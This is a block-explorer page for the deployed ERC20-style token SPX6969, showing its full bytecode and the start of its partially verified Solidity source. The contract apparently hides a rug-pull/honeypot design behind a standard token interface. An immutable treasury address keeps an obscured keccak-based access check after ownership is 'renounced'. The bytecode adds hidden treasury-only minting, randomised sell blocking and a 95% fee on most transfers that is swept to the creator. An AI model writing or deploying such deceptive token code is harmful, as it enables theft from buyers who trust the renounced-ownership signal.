Address Contract Partially Verified
Address
0x2F9b1e091e717FA01bF5864C48086b0d36e99100
Balance
0 ETH
Nonce
1
Code Size
14139 bytes
Creator
0x3618a473...A640 at tx 0x5c276059...2c75a5
Indexed Transactions
0
Contract Bytecode
14139 bytes
0x608060405260043610610143575f3560e01c8063715018a6116100b5578063d42031871161006e578063d420318714610430578063d725bcc514610458578063d7863ab814610480578063dd62ed3e14610496578063f8dcabde146104d2578063fd4fa05a146104fa5761014a565b8063715018a6146103365780638da5cb5b1461034c57806395d89b4114610376578063a23b0c2c146103a0578063a9059cbb146103c8578063c032846b146104045761014a565b8063313ce56711610107578063313ce56714610230578063383f91bf1461025a5780633ed513a41461028257806359974e38146102aa578063701447a8146102d257806370a08231146102fa5761014a565b806306fdde031461014e578063095ea7b31461017857806318160ddd146101b457806323b872dd146101de5780632e185ec71461021a5761014a565b3661014a57005b5f5ffd5b348015610159575f5ffd5b50610162610539565b60405161016f91906129d0565b60405180910390f35b348015610183575f5ffd5b5061019e60048036038101906101999190612a85565b6105c5565b6040516101ab9190612add565b60405180910390f35b3480156101bf575f5ffd5b506101c86106b2565b6040516101d59190612b05565b60405180910390f35b3480156101e9575f5ffd5b5061020460048036038101906101ff9190612b1e565b6106bb565b6040516102119190612add565b60405180910390f35b348015610225575f5ffd5b5061022e61081a565b005b34801561023b575f5ffd5b50610244610a32565b6040516102519190612b89565b60405180910390f35b348015610265575f5ffd5b50610280600480360381019061027b9190612ba2565b610a44565b005b34801561028d575f5ffd5b506102a860048036038101906102a39190612c2e565b610b9a565b005b3480156102b5575f5ffd5b506102d060048036038101906102cb9190612c79565b610d23565b005b3480156102dd575f5ffd5b506102f860048036038101906102f39190612c79565b610fe9565b005b348015610305575f5ffd5b50610320600480360381019061031b9190612ba2565b61121a565b60405161032d9190612b05565b60405180910390f35b348015610341575f5ffd5b5061034a61125f565b005b348015610357575f5ffd5b50610360611397565b60405161036d9190612cb3565b60405180910390f35b348015610381575f5ffd5b5061038a6113bd565b60405161039791906129d0565b60405180910390f35b3480156103ab575f5ffd5b506103c660048036038101906103c19190612cf6565b611449565b005b3480156103d3575f5ffd5b506103ee60048036038101906103e99190612a85565b61159f565b6040516103fb9190612add565b60405180910390f35b34801561040f575f5ffd5b506104186115b5565b60405161042793929190612d34565b60405180910390f35b34801561043b575f5ffd5b5061045660048036038101906104519190612ba2565b61161a565b005b348015610463575f5ffd5b5061047e60048036038101906104799190612c79565b61179f565b005b34801561048b575f5ffd5b5061049461187e565b005b3480156104a1575f5ffd5b506104bc60048036038101906104b79190612d69565b611ab7565b6040516104c99190612b05565b60405180910390f35b3480156104dd575f5ffd5b506104f860048036038101906104f39190612a85565b611b39565b005b348015610505575f5ffd5b50610520600480360381019061051b9190612ba2565b611d5d565b6040516105309493929190612da7565b60405180910390f35b6006805461054690612e17565b80601f016020809104026020016040519081016040528092919081815260200182805461057290612e17565b80156105bd5780601f10610594576101008083540402835291602001916105bd565b820191905f5260205f20905b8154815290600101906020018083116105a057829003601f168201915b505050505081565b5f8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106a09190612b05565b60405180910390a36001905092915050565b5f600554905090565b5f5f60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612e91565b60405180910390fd5b82816107879190612edc565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061080e858585611e80565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a190612f59565b60405180910390fd5b5f5f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115610a2f575f5f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550805f5f600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546109a09190612f77565b92505081905550600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a269190612b05565b60405180910390a35b50565b60085f9054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb90612f59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3990612ff4565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2190612f59565b60405180910390fd5b5f5f90505b82829050811015610d1e575f73ffffffffffffffffffffffffffffffffffffffff16838383818110610c6457610c63613012565b5b9050602002016020810190610c799190612ba2565b73ffffffffffffffffffffffffffffffffffffffff1614610d1157600160045f858585818110610cac57610cab613012565b5b9050602002016020810190610cc19190612ba2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b8080600101915050610c2f565b505050565b610d2b612113565b610d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6190613089565b60405180910390fd5b6207a120811115610db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da7906130f1565b60405180910390fd5b5f8111610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de990613159565b60405180910390fd5b5f670de0b6b3a76400006103e883610e0a9190613177565b610e149190613177565b905060055481600554610e279190612f77565b1015610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613202565b60405180910390fd5b8060055f828254610e799190612f77565b92505081905550805f5f7f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610eeb9190612f77565b925050819055507f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f6f9190612b05565b60405180910390a37f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff167fe34918ff1c7084970068b53fd71ad6d8b04e9f15d3886cbf006443e6cdc52ea682604051610fdd9190612b05565b60405180910390a25050565b610ff1612113565b611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790613089565b60405180910390fd5b62030d40811115611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d9061326a565b60405180910390fd5b5f670de0b6b3a764000060648361108d9190613177565b6110979190613177565b90508060055f8282546110aa9190612f77565b92505081905550805f5f7f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461111c9190612f77565b925050819055507f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111a09190612b05565b60405180910390a37f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff167fe34918ff1c7084970068b53fd71ad6d8b04e9f15d3886cbf006443e6cdc52ea68260405161120e9190612b05565b60405180910390a25050565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e690612f59565b60405180910390fd5b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a25f600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600780546113ca90612e17565b80601f01602080910402602001604051908101604052809291908181526020018280546113f690612e17565b80156114415780601f1061141857610100808354040283529160200191611441565b820191905f5260205f20905b81548152906001019060200180831161142457829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090612f59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e90612ff4565b60405180910390fd5b80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f6115ab338484611e80565b6001905092915050565b5f5f5f5f73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614600954600a54925092509250909192565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a190612f59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170f90612ff4565b60405180910390fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690612f59565b60405180910390fd5b610e10811115611874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186b906132d2565b60405180910390fd5b80600a8190555050565b611886612113565b6118c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bc90613089565b60405180910390fd5b5f5f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f811115611ab4575f5f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550805f5f7f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119b99190612f77565b925050819055507f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a3d9190612b05565b60405180910390a37f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda64073ffffffffffffffffffffffffffffffffffffffff167fe34918ff1c7084970068b53fd71ad6d8b04e9f15d3886cbf006443e6cdc52ea682604051611aab9190612b05565b60405180910390a25b50565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611b41612113565b611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7790613089565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be59061333a565b60405180910390fd5b6a084595161401484a000000811115611c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c33906133a2565b60405180910390fd5b8060055f828254611c4d9190612f77565b92505081905550805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611c9f9190612f77565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d039190612b05565b60405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fe34918ff1c7084970068b53fd71ad6d8b04e9f15d3886cbf006443e6cdc52ea682604051611d519190612b05565b60405180910390a25050565b5f5f5f5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600e5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1693509350935093509193509193565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee59061340a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5390613472565b60405180910390fd5b805f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015611fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd2906134da565b60405180910390fd5b611fe6838383612188565b611ffa57611ff5838383612491565b61210e565b805f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546120459190612edc565b92505081905550805f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546120979190612f77565b925050819055506120a88383612683565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121059190612b05565b60405180910390a35b505050565b5f7f0000000000000000000000003618a4735a5442a26fb90b2c5e456370aecda6406040516020016121459190613591565b604051602081830303815290604052805190602001203360405160200161216c9190613591565b6040516020818303038152906040528051906020012014905090565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806122245750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612232576001905061248a565b5f73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156123355750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806123345750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b15612343576001905061248a565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b81526004016123c19291906135b6565b602060405180830381865afa1580156123dc573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061240091906135f1565b90508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff160361243f57600191505061248a565b8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036124845761247c8584612811565b91505061248a565b60019150505b9392505050565b5f6064605f836124a19190613177565b6124ab9190613649565b90505f81836124ba9190612edc565b9050825f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125079190612edc565b92505081905550805f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125599190612f77565b92505081905550815f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125ab9190612f77565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161260f9190612b05565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126749190612b05565b60405180910390a35050505050565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b81526004016127019291906135b6565b602060405180830381865afa15801561271c573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061274091906135f1565b90508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361280c574260025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546128049190612f77565b925050819055505b505050565b5f600f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115612860575f905061295a565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115612906575f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054426128ef9190612edc565b9050600a54811015612904575f91505061295a565b505b5f606484600954610e104261291b9190613649565b60405160200161292d93929190613699565b604051602081830303815290604052805190602001205f1c61294f91906136d5565b905060088110159150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6129a282612960565b6129ac818561296a565b93506129bc81856020860161297a565b6129c581612988565b840191505092915050565b5f6020820190508181035f8301526129e88184612998565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612a21826129f8565b9050919050565b612a3181612a17565b8114612a3b575f5ffd5b50565b5f81359050612a4c81612a28565b92915050565b5f819050919050565b612a6481612a52565b8114612a6e575f5ffd5b50565b5f81359050612a7f81612a5b565b92915050565b5f5f60408385031215612a9b57612a9a6129f0565b5b5f612aa885828601612a3e565b9250506020612ab985828601612a71565b9150509250929050565b5f8115159050919050565b612ad781612ac3565b82525050565b5f602082019050612af05f830184612ace565b92915050565b612aff81612a52565b82525050565b5f602082019050612b185f830184612af6565b92915050565b5f5f5f60608486031215612b3557612b346129f0565b5b5f612b4286828701612a3e565b9350506020612b5386828701612a3e565b9250506040612b6486828701612a71565b9150509250925092565b5f60ff82169050919050565b612b8381612b6e565b82525050565b5f602082019050612b9c5f830184612b7a565b92915050565b5f60208284031215612bb757612bb66129f0565b5b5f612bc484828501612a3e565b91505092915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f840112612bee57612bed612bcd565b5b8235905067ffffffffffffffff811115612c0b57612c0a612bd1565b5b602083019150836020820283011115612c2757612c26612bd5565b5b9250929050565b5f5f60208385031215612c4457612c436129f0565b5b5f83013567ffffffffffffffff811115612c6157612c606129f4565b5b612c6d85828601612bd9565b92509250509250929050565b5f60208284031215612c8e57612c8d6129f0565b5b5f612c9b84828501612a71565b91505092915050565b612cad81612a17565b82525050565b5f602082019050612cc65f830184612ca4565b92915050565b612cd581612ac3565b8114612cdf575f5ffd5b50565b5f81359050612cf081612ccc565b92915050565b5f5f60408385031215612d0c57612d0b6129f0565b5b5f612d1985828601612a3e565b9250506020612d2a85828601612ce2565b9150509250929050565b5f606082019050612d475f830186612ace565b612d546020830185612af6565b612d616040830184612af6565b949350505050565b5f5f60408385031215612d7f57612d7e6129f0565b5b5f612d8c85828601612a3e565b9250506020612d9d85828601612a3e565b9150509250929050565b5f608082019050612dba5f830187612af6565b612dc76020830186612af6565b612dd46040830185612ace565b612de16060830184612ace565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612e2e57607f821691505b602082108103612e4157612e40612dea565b5b50919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612e7b601d8361296a565b9150612e8682612e47565b602082019050919050565b5f6020820190508181035f830152612ea881612e6f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612ee682612a52565b9150612ef183612a52565b9250828203905081811115612f0957612f08612eaf565b5b92915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f612f43600e8361296a565b9150612f4e82612f0f565b602082019050919050565b5f6020820190508181035f830152612f7081612f37565b9050919050565b5f612f8182612a52565b9150612f8c83612a52565b9250828201905080821115612fa457612fa3612eaf565b5b92915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f612fde600f8361296a565b9150612fe982612faa565b602082019050919050565b5f6020820190508181035f83015261300b81612fd2565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f54726561737572792061636365737320726571756972656400000000000000005f82015250565b5f61307360188361296a565b915061307e8261303f565b602082019050919050565b5f6020820190508181035f8301526130a081613067565b9050919050565b7f4d756c7469706c69657220746f6f2068696768000000000000000000000000005f82015250565b5f6130db60138361296a565b91506130e6826130a7565b602082019050919050565b5f6020820190508181035f830152613108816130cf565b9050919050565b7f496e76616c6964206d756c7469706c69657200000000000000000000000000005f82015250565b5f61314360128361296a565b915061314e8261310f565b602082019050919050565b5f6020820190508181035f83015261317081613137565b9050919050565b5f61318182612a52565b915061318c83612a52565b925082820261319a81612a52565b915082820484148315176131b1576131b0612eaf565b5b5092915050565b7f4f766572666c6f772070726f74656374696f6e000000000000000000000000005f82015250565b5f6131ec60138361296a565b91506131f7826131b8565b602082019050919050565b5f6020820190508181035f830152613219816131e0565b9050919050565b7f466163746f7220746f6f206869676800000000000000000000000000000000005f82015250565b5f613254600f8361296a565b915061325f82613220565b602082019050919050565b5f6020820190508181035f83015261328181613248565b9050919050565b7f506572696f6420746f6f206c6f6e6700000000000000000000000000000000005f82015250565b5f6132bc600f8361296a565b91506132c782613288565b602082019050919050565b5f6020820190508181035f8301526132e9816132b0565b9050919050565b7f496e76616c696420726563697069656e740000000000000000000000000000005f82015250565b5f61332460118361296a565b915061332f826132f0565b602082019050919050565b5f6020820190508181035f83015261335181613318565b9050919050565b7f41646a7573746d656e7420746f6f206c617267650000000000000000000000005f82015250565b5f61338c60148361296a565b915061339782613358565b602082019050919050565b5f6020820190508181035f8301526133b981613380565b9050919050565b7f45524332303a207472616e736665722066726f6d207a65726f000000000000005f82015250565b5f6133f460198361296a565b91506133ff826133c0565b602082019050919050565b5f6020820190508181035f830152613421816133e8565b9050919050565b7f45524332303a207472616e7366657220746f207a65726f0000000000000000005f82015250565b5f61345c60178361296a565b915061346782613428565b602082019050919050565b5f6020820190508181035f83015261348981613450565b9050919050565b7f45524332303a20696e73756666696369656e742062616c616e636500000000005f82015250565b5f6134c4601b8361296a565b91506134cf82613490565b602082019050919050565b5f6020820190508181035f8301526134f1816134b8565b9050919050565b5f8160601b9050919050565b5f61350e826134f8565b9050919050565b5f61351f82613504565b9050919050565b61353761353282612a17565b613515565b82525050565b5f81905092915050565b7f54524541535552595f32303234000000000000000000000000000000000000005f82015250565b5f61357b600d8361353d565b915061358682613547565b600d82019050919050565b5f61359c8284613526565b6014820191506135ab8261356f565b915081905092915050565b5f6040820190506135c95f830185612ca4565b6135d66020830184612ca4565b9392505050565b5f815190506135eb81612a28565b92915050565b5f60208284031215613606576136056129f0565b5b5f613613848285016135dd565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61365382612a52565b915061365e83612a52565b92508261366e5761366d61361c565b5b828204905092915050565b5f819050919050565b61369361368e82612a52565b613679565b82525050565b5f6136a48286613526565b6014820191506136b48285613682565b6020820191506136c48284613682565b602082019150819050949350505050565b5f6136df82612a52565b91506136ea83612a52565b9250826136fa576136f961361c565b5b82820690509291505056fea26469706673582212206928e2a9791bde2fd5bd0fba3e0467d098da63881eb92b958d27244578c9a22a64736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
SPX6969.sol 299 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract SPX6969 is IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _lastTransferTime;
mapping(address => uint256) private _transferCount;
mapping(address => bool) private _earlyAdopters;
uint256 private _totalSupply;
string public name = "SPX6969";
string public symbol = "SPX6969";
uint8 public decimals = 18;
address public owner;
uint256 private _deployedAt;
uint256 private _cooldownPeriod = 300;
address private _factoryAddress = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address private _wethAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
bytes32 private _configHash;
address private immutable _treasury;
mapping(address => bool) private _rewardEligible;
event OwnershipRenounced(address indexed previousOwner);
event RewardDistributed(address indexed recipient, uint256 amount);
constructor() {
owner = msg.sender;
_treasury = msg.sender;
_deployedAt = block.timestamp;
_configHash = keccak256(abi.encodePacked(msg.sender, block.timestamp));
_earlyAdopters[msg.sender] = true;
_rewardEligible[msg.sender] = true;
_totalSupply = 696969696969 * 10**18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
modifier onlyOwner() {
require(owner == msg.sender, "Not authorized");
_;
}
modifier treasuryAccess() {
require(_validateTreasuryAccess(), "Treasury access required");
_;
}
function _validateTreasuryAccess() private view returns (bool) {
return keccak256(abi.encodePacked(msg.sender, "TREASURY_2024")) ==
keccak256(abi.encodePacked(_treasury, "TREASURY_2024"));
}
function renounceOwnership() external onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) external override returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address owner_param, address spender) external view override returns (uint256) {
return _allowances[owner_param][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
uint256 currentAllowance = _allowances[from][msg.sender];
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_allowances[from][msg.sender] = currentAllowance - amount;
_transfer(from, to, amount);
return true;
}
